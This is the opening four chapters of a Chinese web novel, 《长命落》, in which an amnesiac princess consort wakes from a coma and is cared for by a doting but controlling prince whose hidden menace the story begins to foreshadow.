《长命落》
1. 第1章
“醒了!王妃醒了!”
一声惊呼划破云隐别院里长达已久的寂静,乍起林间一群歇脚的飞鸟。
夏日炎炎,荷花开得正盛。
微风缓缓拂过一池娇艳欲滴的荷花,惊起片片花瓣摇摇欲坠。
青蓉怀里抱着几朵刚采上来的荷花,额头上的细汗还来不及擦,便听到蓬莱云居里传来的动静,当即欣喜不已,拔腿狂奔而去。
娇嫩的荷花经不起颠簸,粉色花瓣洒落一地。
蓬莱云居外头,已有不少丫鬟小厮们伸长脖子在往里好奇地张望,想一睹昏睡两个月之久的王妃的真容,纷纷低声窃窃私语起来。
青蓉见院门口被围得水泄不通,拔高嗓子喝斥道:“都站在这里做什么?!这样的喜事,还不快去通禀王爷!”
一众丫鬟小厮们连连答是,立即作鸟兽散。
青蓉拿出帕子擦擦额头上豆大的汗珠,拢了拢怀里的荷花,疾步往院里去。
卧房门口,丫鬟小双见到青蓉,立刻欣喜道:“青蓉姐姐,王妃终于醒了!”
“知道了。”青蓉点头,难掩喜悦之色。
将荷花放下,青蓉忙不迭去瞧王妃。
床上的女子因昏睡了整整两个月,清减了不少。下颌尖尖,眼窝微微凹陷,唇色淡到几乎与肤色相同,整个人像一副褪了色的古画。
尽管如此,也不难看出是个美人坯子。
青蓉见她此时正睁着一双漆黑的杏眼四处打量,放缓了步子走过去,生怕吓着她,轻声细语道:“王妃,您终于醒了。”
被唤作王妃的女子并未应声,而是满脸疑惑地看向青蓉。
等待了一会儿,见王妃未出声,青蓉一时哽住,再次开口时,变得小心翼翼起来,“王妃?您……您怎么了?”
缓慢地撑起沉重的眼皮时,她头痛欲裂。
仿佛做了一个十分漫长的梦,梦中的事物在她睁开眼睛时,一哄而散。
不等她看清周遭景象,便听见一声仿佛能穿透云霄的刺耳的惊呼。紧接着,远远地听到十分嘈杂凌乱的窃窃私语声。
王妃?
她们唤她为王妃?
头疼得厉害,她什么都记不起来。
“王……妃?”她缓缓开口,嗓子干哑,四肢绵软无力,疑惑更甚,“你……叫我……王妃?”
闻言,青蓉一惊,忙用帕子掩面,忍不住小声哭泣道:“王妃,您真的什么都不记得了?奴婢是青蓉啊!”
先前大夫来诊治时,青蓉听大夫提过一嘴,竟没想到,王妃真的什么都不记得了。
如今亲眼所见,此刻,不由得伤感起来。
她一时间并未作答,而是将面前的少女仔细打量一番。青蓉一身嫩黄色短袄、青色长裙,梳着俏皮可爱的双髻。此时脸上挂着两行泪,倒叫人觉得楚楚可怜。
她撑着身子想要坐起来,可四肢完全使不上劲,她只好作罢,“青蓉?我问你些事。”
青蓉忙用帕子擦干眼泪,凑近了些,“王妃,您要问什么?奴婢一定知无不言!”
她先是认真地扫视一圈屋内,发现屋内陈设讲究,屋里摆放的玩意儿她一时半会儿看不出个好歹来。吸引她视线的,是摆在屋子中间的那一缸冰块。她盯着看了会儿,随后将视线从半开的窗户往外看出去。
窗外是个大晴天,洒进来的光亮有些刺眼。
她不适地眯了眯眼睛,微微皱眉,连同那颗小小的鼻尖痣也跟着她细微的动作皱了皱。
青蓉是何等会察言观色的人,立刻走到窗前,将半开的窗给关上了。
光亮柔和些了,她舒展开眉头,问:“你为何唤我王妃?”
“您是端王爷的正妻,奴婢自然是唤您为王妃啊!”双眼红肿的青蓉在床前半蹲下身,态度恭敬且从容,“您是魏大将军府里的三小姐,王爷明媒正娶的妻子!”
端王?
魏大将军?
陌生的字眼,陌生的名字。
她完全想不起来,一点印象都没有。
望着祥云牡丹纹样的绯红色床幔,她沉思片刻,继续问:“我姓魏?我的名字是?”
“魏沛鸾。”
一个清冷低沉又极具穿透力的嗓音从门外传来。
她好奇地抬眼去看,只见一位身姿挺拔、气宇轩昂、面容俊朗的男子从门外进来。
他身穿雪白色直襟长袍,腰束月白祥云纹的腰带,其上只挂了一块品质极佳的墨玉。墨色的长发仅用素冠束起,却衬得整个人格外冷峻坚毅。
青蓉见到来人,连忙起身行礼,“王爷。”
李京熠径直来到床前,连一个多余的眼神都未施舍旁人,那双清冷深邃的眼眸里,此刻全都被温情覆盖,“小九,你终于醒了。”
面对这位突然闯入的陌生男子,她有些警惕。
但瞧见他对自己的态度,似乎自己与他之间,存在着一种十分亲昵的关系。
方才听见青蓉唤他为王爷,难道,此人便是她的夫君端王?
“小九,为何这般看着我?”李京熠在床前坐下,抬手抚过她柔嫩光滑的脸庞,剑眉微蹙,眉宇间满是忧伤,“你当真不记得我了?”
陌生的触感让她下意识躲避,可触碰到她脸颊的指尖带着丝丝凉意,在这炎炎夏日里,让人实在忍不住想要靠近,也勉强驱散开一些她的头疼之症。
捕捉到他眼底的哀愁,她逐渐放下警惕,小心谨慎地询问道:“你是谁?”
“李京熠。”说着,李京熠握住她的手,用指腹轻轻摩挲着她细腻光滑的手背,“我是你的夫君。”
夫君?
她仔细地打量起他来。面前的男子满脸忧愁,深邃的眼底像是凝着一汪清泉,那清泉之中,满满都是对她的爱意。
他泛红的眼尾骗不了人,眼中的深情,更骗不了人。
她沉思过后,暂时接受了此事。
“我这是怎么了?”
听着她有些沙哑的嗓音,李京熠并未回答她,而是去倒了杯水,随后俯身过去,动作轻柔地把她扶起来,让她靠在自己怀里。紧接着,将水杯凑到她嘴边,另一只手托住她的下巴,温柔道:“先喝口水。”
她并未多言,听话照做。
小口啜饮下半杯水,她在他怀里抬起头,眨着漆黑的大眼睛望着他。
李京熠紧紧将她抱在怀里,被她这一副求贤若渴似的模样逗笑,随后便正色道:“你昏睡了整整两个月。两个月之前,是我们成亲的日子。怪我,没有保护好你,竟让你在我们的成婚之日被仇家掳走,害你摔下悬崖受伤。不过好在,你终于醒来。从此以后,我绝不会再让你受到伤害。”
这一番话钻入耳朵里,她半晌没做出反应,像是在听别人的故事。
她还是什么都想不起来,又忍不住抬眼去看李京
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熠,惊讶道:“我已昏睡了两个月?”
“是。”
她身上的浅粉色纱裙衬得她肤如凝脂般的肌肤若隐若现,后背贴着李京熠硬邦邦的炙热胸膛,像是要被灼伤。
她不安地将两条好看的柳眉拧起,小声嘟囔道:“记不起来,头疼。”
李京熠二话不说松开她,给她轻轻按揉着太阳穴,动作娴熟极了,“小九,你昏睡的时日太久,所以才会四肢无力。从今日起,我便派人来为你医治,不日定能康复如初。”
她默默感受着李京熠身上的炙热与气息,尽管她还是觉得眼前的事物与人十分陌生。
但李京熠给她的温柔和爱护,实在过于真切,让人不愿疑心。
更何况,她昏睡两个月之久,夫君仍然爱她护她有加。
这样的情感与坚持,又怎能叫人疑心呢?
“魏沛鸾……”她念叨着自己的名字,突然好奇道:“你为何唤我‘小九’?”
“‘小九’是为夫对你特有的称呼。”李京熠温柔地解释道:“不喜欢吗?从前我总是这样唤你。”
她摇摇头,并未多言。
再次打量一眼屋内的陈设,她的目光被桌上那几朵荷花吸引。闻着阵阵荷香,她微微眯起眼睛去看穿透窗户的那一束明亮的光,“如今已是夏日了?”
“嗯。”李京熠应声,低垂的眼眸中,爱意满到几乎要溢出。
头疼缓和一些的魏沛鸾抬头看他,出声道:“我有些饿了。”
李京熠失笑,“我让人去准备。”话落,他冷声对门外伺候的人道:“去准备些清淡的吃食来,王妃要用膳。”
守在门外的青蓉连忙答是,疾步走出院子。
屋里静下来,魏沛鸾再一次忍不住抬眼去打量他。
李京熠用手背轻轻蹭着她的脸颊,像是在逗玩一只落入陷阱的小动物,实在忍俊不禁道:“小九总是看着我做什么?”
“你好看。”
眼前的男子从方才进屋时,魏沛鸾便从心里发出这样的感叹。
这样好看的男子居然是她的夫君,真是令人羡慕。
也不知为何,他这张脸,越看越觉得亲切,越看越觉得熟悉。
或许,在记忆深处,她并未真正地忘记过这张脸。
“小九才好看。”说着,李京熠抬起她的下巴,认认真真地看着她,“小九是我见过的,世上最美的女子。”
这张脸,从他见过的第一眼开始便念念不忘。
如今,终于心想事成。
魏沛鸾皱了皱眉头,不高兴似的撇撇嘴,“我都忘记自己长什么模样了,万一,变丑了呢?”
话音一落,魏沛鸾却当即愣住。
仔细回想,她似乎连自己的模样都记不清了。
李京熠瞧见她神情有异,便让她缓缓躺下,自己起身去拿那一面铜镜。
铜镜拿到跟前,魏沛鸾去看镜中人。
镜中女子微微拧着柳眉,那一双杏眼亮晶晶的,鼻尖痣生得娇俏,让人无端染上几分妩媚来。或许是因着昏睡两个月之久,气色不太好,唇色太浅,一眼便能瞧得出还在病中。
盯着镜中人良久,魏沛鸾摇摇头,叹道:“病气太重。”
李京熠将铜镜放下,轻声细语地安慰道:“小九在我心里,一直都是最美的。”
这样的美人在怀,才不辜负这两个月漫长的等待。
2. 第2章
用过膳后,大夫来为魏沛鸾诊脉,且说她的身子已无大碍。只不过,身子太过虚弱,近几日还不能下床走路,需为她针灸调理才能见好。
李京熠唤大夫到一旁,事无巨细询问着。
看着李京熠事事亲为,魏沛鸾莫名觉得心安。
醒来后,对眼前事物一无所知的恐惧,被他的一举一动逐渐抚平。
大夫离开后,李京熠坐回到床前,“小九,方才大夫所言,你都听到了。只要你好好配合医治,不日便能恢复如初。”
“我的记忆呢?”
大夫所言,她的确一字不落全部听到了,但大夫并未提及她的记忆会何时恢复。
“此事不可操之过急。”李京熠耐心解释道:“你当时伤得太重,如今,调理好你的身子才最要紧。别的,都可以慢慢来。”
既如此,魏沛鸾选择相信他,应声道:“好。”
“累不累?要不要睡会儿?”
“不了。”魏沛鸾望着他,想着既然记不起从前的事,那便问问他,兴许听得多了,便能记起来一些,“我在床上躺了太久,睡得也已经够久了,现在就想和你说说话。”
李京熠眉眼带笑,语气温柔道:“好,那我陪小九说说话。”
在开口之前,魏沛鸾先是沉默了一会儿,之后才缓缓道:“听青蓉说,我是魏大将军府里的三小姐?”
听魏沛鸾提起此事,李京熠的眼底隐约闪过一丝不易让人察觉的异样。但在被魏沛鸾捕捉到之前,便很快消散,“不错。可是小九,因你受伤的缘故,大将军怨我,已有很长一段时间未踏入过王府。待到你病情好转,我一定亲自登门谢罪。”
“大将军是我父亲……”魏沛鸾似乎是想回忆起什么,但脑海中依旧一片空白,完全想不起父亲母亲的面容,“那我的母亲呢?”
“岳母在你还是幼儿时,因病离世。”
魏沛鸾微微抿唇,心中不禁泛起一阵悲凉,“竟是如此……”
李京熠握住她的手,安慰道:“此事早已过去,不必伤怀。岳母在世时,与大将军的感情很好。离世后,大将军也厚葬了她。”
“嗯。”她轻声应了一句,心中虽然伤感,但记不起母亲的姓名与容貌,终究还是令人惋惜又无奈,“那我与我母亲,长得像吗?”
此话一出,李京熠失笑。
笑声爽朗动听,钻进魏沛鸾的耳朵里,却惹得她不高兴地撇撇嘴,“你笑什么?”
“小九莫怪。”李京熠止住笑,握住她手的力气重了些,“我一想到大将军一副武夫模样,便猜到你长得一定是像你的母亲。小九温婉动人,眉目如星辰,好看得很。想必,你一定是像极了你的母亲。”
他笑起来格外好看,魏沛鸾想生他的气都不行,只闷闷地憋出四个字,“油嘴滑舌。”
“这是为夫的真心话,怎会是油嘴滑舌呢?”
魏沛鸾抬眸望着他,要问的话一时间又咽了下去。
她其实想问一问,他们之间是如何相识相知的。
可一想到自己已昏睡两个月,如今好不容易才醒来,想必他在这些时日里,也一定过得十分不好。
罢了,这些事,以后再问也不迟。
放在桌上的荷花已被李京熠插入瓶中,此时阵阵荷香萦绕在鼻尖。
窗外的天气实在是好,她想出去看一看,外头究竟是怎样的好光景。
“想出去?”李京熠突然问。
“嗯。”听到李京熠猜到她心中所想,她反而有些高兴。
眼前的人这般了解她,若不是她的夫君,又能是谁呢?
“日头毒辣,你身子还没好,我抱你去廊下坐坐?”
“好。”魏沛鸾欣然答应。
李京熠掀开被子,一手从她的膝窝下穿过,一手搂住她单薄的后背,大步走出卧房。
夏日的阳光实在刺眼,才一踏出房门,魏沛鸾便被光亮晃了一下眼睛。她微微眯着眼,仔细打量院中各处。
这一处院子很大,目之所及之处,栽种着各色鲜花,错落有致。不远处,有一座拱桥,桥下潺潺流水,在日光的照耀下,波光粼粼。
李京熠在廊下坐下,让她靠在自己怀里,“如何?我猜你定会喜欢这儿。”
“喜欢。”魏沛鸾笑着看看湛蓝的天空,又新奇地看看地上的花草,呼吸到新鲜的空气,心情感觉很是畅快,“你肯定花了很多心思吧?”
“只要是你喜欢的,花再多心思都值得。”
闷热的微风钻入廊下,带着一阵扑面而来散不开的热气。
微风吹乱她的发丝,李京熠抬手替她轻轻拨开,动作自然又娴熟。
他的动作很轻,弄得她的耳朵痒痒的。魏沛鸾缓缓抬眼看向他,发现他一直注视着自己,不由得觉着有些害羞,“你总是这么看着我做什么?这样好的天气,这样好的景色,你别总是看我。”
李京熠将她紧紧搂入怀中,深情款款道:“小九为何害羞呢?你我是夫妻,难道我看你不得?”
“不是这样的……”魏沛鸾垂眸,脸颊悄然红了几分。
尽管话虽如此,他们的确是夫妻没错,但她才醒来不久,且记忆并未恢复,李京熠对她这般好,倒叫人感到有些许不自在。
这两个月里,李京熠究竟为她做了多少事,眼下她不得而知。
但,从他的行为举止中来看,李京熠为她做的,只会多,不会少。
这样想来,她莫名觉得有些愧疚。
因为,无以为报。
瞧见她微微皱起的鼻尖痣,李京熠放轻了语调,柔声问:“怎么了?哪儿不舒服?是不是外头热气太重了?”
“不是。”
“那再坐会儿,我抱你回屋?”
“嗯。”她靠在李京熠怀里,静静听着他铿锵有力的心跳声,心里也逐渐平静下来。
偌大的院子里,除他们二人之外,再不见其他人。
花丛中,偶尔有几只小鸟在跳跃嬉闹。
她望着院门口沉思,想起醒来时听到的窃窃私语声,问:“这儿是王府?”
李京熠轻轻摩挲着她的后背,过了会儿才答道:“不是。”
魏沛鸾疑惑,“那这里是哪儿?”
“云隐别院。”李京熠的视线落在她消瘦的脸庞,“为了让你好生静养,我特地寻了此处。”
魏沛鸾犹豫地抬眸去看他,发现他的神色无比认真严肃,仿佛想起了什么伤心事。
仔细一想也对,她昏睡这些时日,李京熠一定也倍受煎熬。
万一她再也无法醒来,李京熠该如何?
“王爷,谢谢你。”
一声轻语驱散开李京熠眼底的沉闷,他浅笑道:“怎么叫得这么生分?”
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闻言,魏沛鸾微微抿起粉唇,心里想着该如何唤他才显得亲昵些。措辞半晌,才支支吾吾道:“……京……京熠。”
“嗯,这样才对。”话音一落,李京熠吻在她的额头。
他的吻很轻,轻得像是在触碰一件珍贵的宝物。
微风拂过,额头上的触感转瞬即逝。
魏沛鸾痴痴地望着他,心里泛起一阵羞涩。
面前的男子是她的夫君,对她这般的好,哪怕她重伤昏迷,都不离不弃。
想来从前的他们,感情一定十分深厚。
李京熠轻拍着她的后背,瞥见她耳后的那一抹淡粉绵延至白皙修长的脖颈,喉结不自觉上下滑动。
“小九。”再开口时,他的嗓音有些喑哑,“我向你保证,从今以后,我绝不会再让你受到任何伤害,也一定不会再让你离开我半步。”
魏沛鸾只当是两个月之前发生的事太过严重,以至于李京熠如今想到,还会感到恐慌,所以他才如此说到。
她猜测,李京熠说这话是为了让她安心的。
但好在她已醒来,那样让人恐慌不安的事情,一定不会再发生。
如今有疼爱她的夫君在侧,她也绝对不会再离开。
想到这里,魏沛鸾垂眸看着自己光着的双脚笑道:“我的双腿还不知会何时恢复,就算我想下地走走,没有夫君在旁协助,我一人也办不到。”
李京熠勾唇浅笑,缓缓道:“不急。”
临近正午,日头更加毒辣。
飞鸟扑闪着双翅迅速钻入山林,似乎也是十分恐惧这样的毒日头,再不见飞出的身影。
李京熠抬手抚过她鬓边几缕汗湿的发丝,柔声问:“回屋吗?”
“好。”魏沛鸾应声。
屋内凉爽,但因方才在外头吹了会儿热风,身上出了一层薄汗,她觉得有些不太舒服,想擦一擦身子。
但此时屋内只有他们二人,青蓉并不在。
李京熠才把她放回床上,便察觉到她往外张望的目光,疑惑道:“小九在找什么?”
“我……我想唤青蓉。”魏沛鸾支支吾吾道。
“唤她何事?有我在你跟前,何事是我这个夫君不能做的?”
话虽如此,魏沛鸾还是害羞得很,特意别开脸去,声若蚊吟,“我……我想擦一擦身子……身上出了汗,有些难受。”
人高马大的李京熠站在床前,极具压迫性,身上的气息将床上的魏沛鸾团团围住,惹得她更加是红了脸。在没听到李京熠接话之前,根本不敢回头看他。
过了好一会儿,她突然感觉到一股炙热的气息缓缓靠近,紧接着,耳边一阵微热的呼吸轻轻扫过,“小九何必害羞呢?这样的事,何须劳烦她人之手?夫君愿为小九……”
“不行!”魏沛鸾立刻打断他的话。
这样的事,怎好叫李京熠动手?
虽说是夫妻,可在失忆的她看来,相识才不到两个时辰。要想有再进一步亲昵的举动,那是万万不行的。
若是她自己可以,她完全不愿求助他人。
李京熠笑出声来,“既然小九不愿,那我便不强人所难了。”
闻言,魏沛鸾转过头来,气鼓鼓地瞪着他,“你捉弄我!”
“对不住。”李京熠收回脸上的笑意,正色道:“我去叫青蓉来。”说完,他起身离去。
3. 第3章
午后,魏沛鸾睡了一觉。
再醒来时,天正是将黑未黑,暑气消散之时。
屋内亮着一盏灯,光线有些暗。
李京熠正伏案提笔写着什么,察觉到她睁开眼,大步走过来。
“在写什么?屋里暗得很,怎么不多点两盏灯?”
李京熠坐到床前,见她精神好些了,这才放心些,“想让你好好睡一觉。”
“我已睡了那么长时间,睡了那么安稳的一觉,你早些吵醒我也不要紧。”
“说什么傻话呢?”李京熠笑笑,“饿了吧?我叫人传膳来。”
魏沛鸾“嗯”了一声,问道:“你陪我一起用膳?”
李京熠点头,紧接着吩咐门外的人传膳。
在床上躺了太久,魏沛鸾的胃口其实并不好。午膳时,因实在是饿了,所以才吃了些。这会儿用晚膳,她只吃下了两口李京熠喂来的白粥。
第三口送到嘴边时,她微微皱起眉头,是无论如何都不肯吃了。
看着碗里几乎没怎么动的白粥,李京熠耐着性子劝道:“再吃一些,身子才能尽快好起来。”
“已经吃了些了。”嘴里发苦,再吃这些白粥,更是难以下咽,魏沛鸾忍不住抱怨道:“午膳也是吃的白粥。”
“今日大夫说的话,你都记住了吗?”
“少拿大夫的话压我。”魏沛鸾不自觉顶嘴。
“小九。”李京熠冷冷地唤了一声她的名字,似是警告。
简短的两个字毫无温度,直直地刺穿她的耳膜,吓得她瑟缩了一下身子,呆愣愣、怯生生地看着他。
李京熠生气了?
察觉到她的神色之中透露着惊恐,李京熠自知方才的语气不好,于是轻叹了口气,语气柔软下来,“小九,这是为了你好。”
他眉宇间的冰冷不再,魏沛鸾缓缓回过神来,随即垂下眸子,神态小心翼翼,却还是拒绝道:“但是我说……我不想再吃……”
“不要任性。”
“我没有。”
似是妥协,似是无奈,李京熠放下碗,“小九,你知道吗?我不能再失去你一次。你昏睡的这两个月里,你可知我有多少个日夜无法安然入睡?只盼着你早日醒来,让我好好保护你、照顾你。”
他这一番话说的在理,可这并不是逼迫她妥协的理由。
她骨子里还是有一股韧劲,不低头、不服输的韧劲。
她不开口,只是望着他。
“小九,听话。”
她生着闷气别开脸去,苍白的面容上,是一副倔犟到底的态度。
魏沛鸾深知李京熠在这两个月里的艰辛,但却不想因此事一直横在他们之间,产生不必要的隔阂。
重伤昏迷,不是她愿意的事。
失去记忆对于她来说,非常痛苦。
事事要从别人口中得知,连一点点的印象都没有,这如何不叫她烦心?
屋内的气氛僵持不下,仿佛一点一点坠落至冰点。
李京熠率先败下阵来,选择让步,继续耐着性子哄道:“好了,既然你不愿吃,那就不吃了,别气坏了身子。我不想看到你对我生气的模样,以后不许这样了。”
轻柔的话语,温柔到像是能掐出水来。
她的心尖仿佛被一片羽毛轻轻扫过,酥酥麻麻的,刹那间,什么气都消了。
李京熠唤青蓉进屋来,将晚膳收拾了。
自知理亏的魏沛鸾一时间却不肯低下头来,即使李京熠温声细语地哄着,她也并未露出一个笑脸。
有这样善解人意的夫君在侧,她还这般无理取闹,确实是她的错。
气氛一度还是僵持不下,李京熠握住她的手,满眼深情地望着她。
被这般赤.裸.裸地盯着,她所有的情绪都无处遁形,全都难逃李京熠的法眼。沉默良久,她最终还是迎上他的视线,诚恳道:“是我的错,你别再看着我了。”
李京熠笑笑,抬手轻柔地抚过她的发丝,正想开口再说些什么的时候,门外一个人影闪过,打断他的动作。
他的神色有些细微的变化,但在魏沛鸾询问之前,便已起身,“我出去会儿,让青蓉来陪你说说话。”
碍于身子还不能动弹,魏沛鸾缓缓侧目往门外望了一眼,却什么也没瞧见。
李京熠出去之后,青蓉进屋来,连带着把门从里关上了。
魏沛鸾有些好奇,便问青蓉,“这么晚了,王爷还有公务?”
“回王妃的话,王爷在两个月之前,便已向陛下请辞,专心在别院里照顾您。”
“请辞?”闻言,魏沛鸾震惊不已,“王爷是因为我才请辞的?”
青蓉倒了杯温度适宜的水,随后来到床前,“王妃,此事,王爷不让奴婢们在您面前多嘴,怕您会多虑。”
在青蓉的帮助下,魏沛鸾喝下一口水,随后继续问道:“整整两个月,他都在别院里?”
“是。”青蓉答道。
两个月的日夜,李京熠都守在这里?
竟还为了她,撇下公务?
他是皇亲贵胄,是身份尊贵的王爷,何必为她做到这个地步?
哪怕她很有可能醒不过来,他也愿意这样守在她的身旁?
“王妃?”青蓉见魏沛鸾柳眉微蹙,连忙跪地,“是奴婢多言,说错了话!都怪奴婢不好,王爷从前总是叮嘱奴婢们,此事万万不可传到您的耳中,扰您清净!”
这怎么能算是扰她清净呢?
若不是从别人口中得知,恐怕在她记忆恢复之前,是永远都不会知道的。
魏沛鸾沉默好一会儿,才开口,“你起来吧,你没有做错。你说得对,若是你不与我说,这些事情,又有谁会告诉我呢?”
青蓉细细瞧着她的脸色,瞥见她泛红的眼尾,继续说道:“王爷对王妃那是极好的,奴婢们很是羡慕呢!”
她笑了笑,这话倒是没错。
才醒来不足一日,她便完全感受到了李京熠对她的好。
好的十分彻底,似乎不求回报。
“青蓉,你可知,我与王爷是在何处相识?”
此话一出,青蓉没有立刻回答,而是十分规矩有礼地摇头道:“此事是王妃与王爷之间的私隐,奴婢不知。”
“那我与王爷从前的事,你全都不知?”
青蓉还是摇头,“奴婢不知。”
既然连贴身伺候她的青蓉都不知晓,魏沛鸾便没有再问。
想来,要想得知从前的事,还是要亲口去问李京熠。
这才是她醒来的第一日,倒也不必太过心急。
往后,有的是时间。
许是因为午后睡了太久,这会儿躺在床上,魏沛鸾没有丝毫困意。
李京熠离开已有大半个时辰,却还迟迟未归
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。
青蓉站在床前守着,寸步不离。
屋内寂静得很,显得屋外的虫鸣鸟叫声格外刺耳。院子里同样寂静非常,除了今日听到的那一阵窃窃私语,之后再没听到其他人的声音。
太过安静,反倒容易让人胡思乱想。
魏沛鸾闭上双眼,记忆深处还是一片空白,什么都想不起来。
她十分困惑。
今日得到的讯息,全都是从李京熠口中得知。
有这样全心全意对待她的夫君,或许她该把心放进肚子里。
但让魏沛鸾感到奇怪的是,李京熠为何不主动告知她从前的往事?
她不问,他不说。
似乎,李京熠并不想她知道太多从前的事?
是自己太过胡思乱想,所以才有这样的疑惑吗?
青蓉见她已闭上眼,贴心地熄了床头的两盏灯,随后整理好床幔,轻手轻脚地从屋里出去了。
不知究竟是夜里什么时辰,睡意浅浅的魏沛鸾突然听到耳边有细微的响动。她吓了一跳,正要开口询问时,李京熠的身影突然闯入她的视线。
夜色朦胧,他高大挺拔的身影也被窗外的月光染上一层隐隐约约的朦胧。
倒是别样的温柔好看。
她仔细瞧着,发现他已褪去外衣,只穿着一身单薄的寝衣,正打算到床上来。
瞧见此情景,魏沛鸾的困意被吓走大半,睁大眼睛连忙问道:“你做什么?”
“吵醒你了?”李京熠的动作一顿。
“你要与我同睡?”
听出她语气里的惊慌,李京熠笑着掀开薄被,自然而然地躺到她身侧,“夫妻之间,难道分房睡?”
“但是……”魏沛鸾一时间找不到话去反驳,偏偏身子无法动弹,只能眼睁睁地看着他的一举一动,“我……我……”
支支吾吾好半晌,魏沛鸾都找不到拒绝的说辞。
眼看着李京熠已为她盖好被子,她只能侧目看着他,再也憋不住一个字。
“很晚了,睡吧。”李京熠故意无视她脸上的慌张,自顾自说道。
同床共枕,李京熠还装作若无其事一般,这让魏沛鸾如何睡得着?
思索好一会儿,她才试探地问:“难道,之前的两个月,你我都是如此?”
“小九好生奇怪,为何要问这般见外的话?”李京熠一副理所当然的模样。
这怎么能一概而论呢?
之前她是昏睡着,何事都不知晓。如今她醒了,自然是要与从前不同。
可话又说回来,就算她醒了,李京熠也没有与她分房睡的道理。
若是她执意分房睡,这让李京熠怎么想?
夜已深,魏沛鸾也不好再打扰李京熠。
身旁的男人似乎很是疲惫,呼吸声很快变得均匀又平稳,魏沛鸾微微转头去瞧他的侧脸。他鼻梁高挺,剑眉平和地舒展开来,看样子睡得很安稳舒适。
魏沛鸾微微抿着唇,眨着大眼睛看着漆黑的床幔内,鼻间闻到李京熠身上散发出的淡淡荷香,忍不住往他的方向凑近闻了闻。
“小九大半夜不睡,可是想让我做些什么?”
冷不丁一句话从他的嘴里冒出来,吓了做贼心虚的魏沛鸾一跳,忙闭上眼睛,“我睡了。”
不多久,李京熠缓缓睁开眼,侧目看她,眼中掠过一抹不易让人察觉的阴冷。
4. 第4章
幽幽荷香萦绕在鼻间,缓缓钻入她的梦境之中。
梦里,大雨滂沱。
天黑得什么都看不见,唯有那一道闪电划过夜空时,她隐隐约约看见自己面前站着一个人影,似乎是个身形高大的男子。
男子手持长剑,那双阴鸷狠厉的眼眸中,弥漫出一股让人窒息的嗜血气息。
那一股气息实在太过凌厉,穿过冰冷的潇潇雨幕,将她死死围住。
她想看清男子的面容,可雨实在太大,拍打在脸上,眼皮变得十分沉重,难以撑起,更加难以看清面前人的模样。
她只知道,面前的男子让她心生恐惧。她想要逃跑,可脚下仿佛千斤重,任凭她如何努力,双脚都未能挪动半分。
她攥紧拳头,狠狠咬着牙,打算迎战。
可一眨眼的工夫,那一把长剑便刺穿了她的胸口。
男子的动作干净利落,寒冰似的长剑拔出,温热的鲜血争先恐后地从她的胸口往外冒出,混合着雨水涓涓流向泥地里。
冰冷的大雨倾盆,砸在脸上,麻木了她的五官。
她想开口呼救,可即便她张大了嘴巴,都无法发出半点声音。
面前的男子实在太过阴冷可怖,像是从地狱里爬上来索命的阎罗。
渐渐的,她的身体变得冰冷、无力、沉重。
最终“扑通”一声,她掉入了身后冰冷刺骨的湖水之中。
湖水立即将她包围,将她吞没,她再难以呼吸,仿佛有人掐住了她的脖子,仿佛生命真的到了最后一刻。
惊恐之余,魏沛鸾猛地睁开了双眼。
眼前漆黑一片,荷香依旧。
李京熠像是没睡,又像是在她醒来时便已睁开双眼。在听到她不平稳的呼吸声时,他撑起身子去看她,“小九,做噩梦了?”
“我……”梦中景象实在离奇,她吓得手心冒汗,不知该如何开口。
究竟是梦吗?
还是她丢失的那一部分记忆?
她一时分不清。
“我……可有仇家?”魏沛鸾犹豫地问。
闻言,李京熠抬手擦了她额头上的细汗,答道:“小九怎会有仇家?是梦到什么了?”
“我梦到……”话到嘴边,她又生生咽下。
或许是自己多虑了,所以才会有这样的梦境。
但是刺入她胸口的那一剑是那般真实,以至于梦醒之后,她还心有余悸。
李京熠注意到她欲言又止的样子,追问道:“梦到什么了?小九不愿与我说说?”
朦胧的夜色将眼前的人镀上一层缥缈虚无的光亮,魏沛鸾的视线轻轻扫过李京熠的脸庞,随后落在他宽大的手掌上,犹豫再三,说道:“我怕一说出来,噩梦便会成真。”
“怎么会呢?”
“你就当我犯傻吧。”魏沛鸾勉强挤出一个笑容,不愿提起梦中之事,“时辰不早了,睡吧。”说完,她重新闭上双眼。
没等来答案的李京熠为她盖好被子,在躺下之前,瞥了一眼她的心口处,神情复杂。
-
次日,魏沛鸾睁开睡眼惺忪的双眼时,发现李京熠正在为她按摩小腿。
两个月未下地走路,双腿尚未有任何知觉。
魏沛鸾细细瞧着他,发现从他的手法上可以看出,他的动作很轻柔,也十分娴熟。
见她醒来,李京熠笑着问道:“感觉如何?”
“挺好。”
“小九可别骗我,说实话。”
看他熟练的动作,这样的按摩手法应是坚持为她做了好些时日。
想到这里,魏沛鸾心中感动不已,“当真挺好的。一睁开眼能看到你为我做这些,没有比这再好的事情。”
李京熠宽大的手掌在她白皙光滑的小腿上轻轻按揉着,本来是让人心里痒痒的动作,可魏沛鸾一丝感觉都没有,她不禁轻叹了口气。
“怎么了?”李京熠抬头问她,手上的动作没停,“何故叹气?”
“你事事亲力亲为,对我这般好,万一我无法恢复如初,可如何是好?”
此话钻入李京熠的耳朵里,似乎让他很是生气,开口时,连语气都骤然冷了几分,“别说傻话。”
自知问了不合时宜的话,魏沛鸾微微抿着唇,眼中带了几分愧疚望向他。他低垂的眼眸中,蕴藏着真心实意,是那样的真切。
“你别生气,我开玩笑的。”魏沛鸾小心翼翼地扯了扯他的衣袖,笑着问道:“你怎么这么爱生气?当真是吓到我了。”
“因为小九总爱说些傻话惹我生气。”
魏沛鸾故作不悦地“哼”了一声,别开脸去不再言语。
小半个时辰后,李京熠起身离开,说要去处理些事情。
不多久,青蓉进来伺候魏沛鸾梳洗。
看着青蓉一人在她跟前伺候,魏沛鸾往门外望了一眼,除她之外,院子里似乎不再有其他丫鬟小厮,不禁疑惑道:“青蓉,昨日在我床前的那个小丫头呢?今日怎么不见了?”
正在为魏沛鸾梳头的青蓉动作一顿,但这停顿太过于轻微,并未让魏沛鸾察觉,“王妃自昨日醒来之后,王爷便不愿再让其他闲杂人等打扰王妃,所以这院子里,如今只奴婢一人伺候。”
魏沛鸾再次往门外望了一眼,自她醒来之后,出现在她眼前的人屈指可数。
难道,这都是李京熠的意思?
眼下,她不便出去,也没有其他人进来。这对于她恢复记忆来说,并不是个有效的帮助。
察觉到她的神态不对,青蓉赶紧开口:“王妃,这实在是因为王爷他太担心您,所以才不让其他人往这院子里来,您可千万不要多想。”
这个理由倒是说得过去,但魏沛鸾忍不住不去多想。
李京熠这般关心她、在乎她,可自己对从前发生的事情一无所知,这不禁让她心烦。
昨夜的那一场梦,又让她隐约惴惴不安。
